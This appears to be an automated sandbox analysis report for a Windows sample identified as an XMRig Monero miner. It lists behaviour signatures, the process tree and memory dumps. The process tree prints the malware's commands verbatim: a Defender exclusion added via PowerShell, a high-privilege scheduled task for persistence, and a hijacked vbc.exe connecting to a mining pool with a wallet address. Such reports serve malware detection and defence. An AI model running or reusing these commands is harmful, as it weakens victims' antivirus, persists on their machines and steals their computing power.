Analysis
- max time kernel
92s - max time network
130s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
02/01/2023, 00:58
General
- Target file.exe
- Size 1.0MB
- Sample230102-bbg7ysdb53
- SHA256 ebc77eba455b59b4a2036411a3fe08d803d7dceebf5922942de3ab9e69bd77fc
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "REFAP" /tr "C:\ProgramData\winzip\REFAP.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "REFAP" /tr "C:\ProgramData\winzip\REFAP.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/824-162-0x0000021B2CCF0000-0x0000021B2CD10000-memory.dmp
memory/824-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/824-170-0x0000021B2E830000-0x0000021B2E850000-memory.dmp
memory/824-169-0x0000021B2E6B0000-0x0000021B2E6D0000-memory.dmp
memory/824-168-0x0000021B2E830000-0x0000021B2E850000-memory.dmp
memory/824-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/824-171-0x0000021B2E6B0000-0x0000021B2E6D0000-memory.dmp
memory/824-164-0x0000021B2E7F0000-0x0000021B2E830000-memory.dmp
memory/824-158-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/824-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/824-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1344-149-0x00007FFB86930000-0x00007FFB873F1000-memory.dmp
memory/1344-147-0x000001CD04A60000-0x000001CD04A82000-memory.dmp
memory/1344-148-0x00007FFB86930000-0x00007FFB873F1000-memory.dmp
memory/3564-142-0x0000000000530000-0x00000000006A2000-memory.dmp
memory/3564-143-0x00007FFB84DD0000-0x00007FFB84F1E000-memory.dmp
memory/3564-151-0x00007FFB86930000-0x00007FFB873F1000-memory.dmp
memory/3564-134-0x0000000000530000-0x00000000006A2000-memory.dmp
memory/3564-136-0x00007FFBA3840000-0x00007FFBA38DE000-memory.dmp
memory/3564-154-0x00007FFB83C30000-0x00007FFB83C65000-memory.dmp
memory/3564-155-0x00007FFB80D00000-0x00007FFB80E02000-memory.dmp
memory/3564-156-0x00007FFBA2730000-0x00007FFBA279B000-memory.dmp
memory/3564-157-0x00007FFBA0AA0000-0x00007FFBA0ADB000-memory.dmp
memory/3564-145-0x00007FFBA1E90000-0x00007FFBA1EB7000-memory.dmp
memory/3564-144-0x00007FFB86930000-0x00007FFB873F1000-memory.dmp
memory/3564-150-0x0000000001050000-0x0000000001093000-memory.dmp
memory/3564-133-0x00007FFB87400000-0x00007FFB874AA000-memory.dmp
memory/3564-141-0x00007FFBA3B30000-0x00007FFBA3B5B000-memory.dmp
memory/3564-140-0x00007FFB86930000-0x00007FFB873F1000-memory.dmp
memory/3564-139-0x00007FFBA2000000-0x00007FFBA21A1000-memory.dmp
memory/3564-138-0x00007FFB865E0000-0x00007FFB8669D000-memory.dmp
memory/3564-166-0x0000000000530000-0x00000000006A2000-memory.dmp
memory/3564-167-0x00007FFB86930000-0x00007FFB873F1000-memory.dmp
memory/3564-137-0x00007FFB9F5F0000-0x00007FFB9F602000-memory.dmp
memory/3564-135-0x0000000001050000-0x0000000001093000-memory.dmp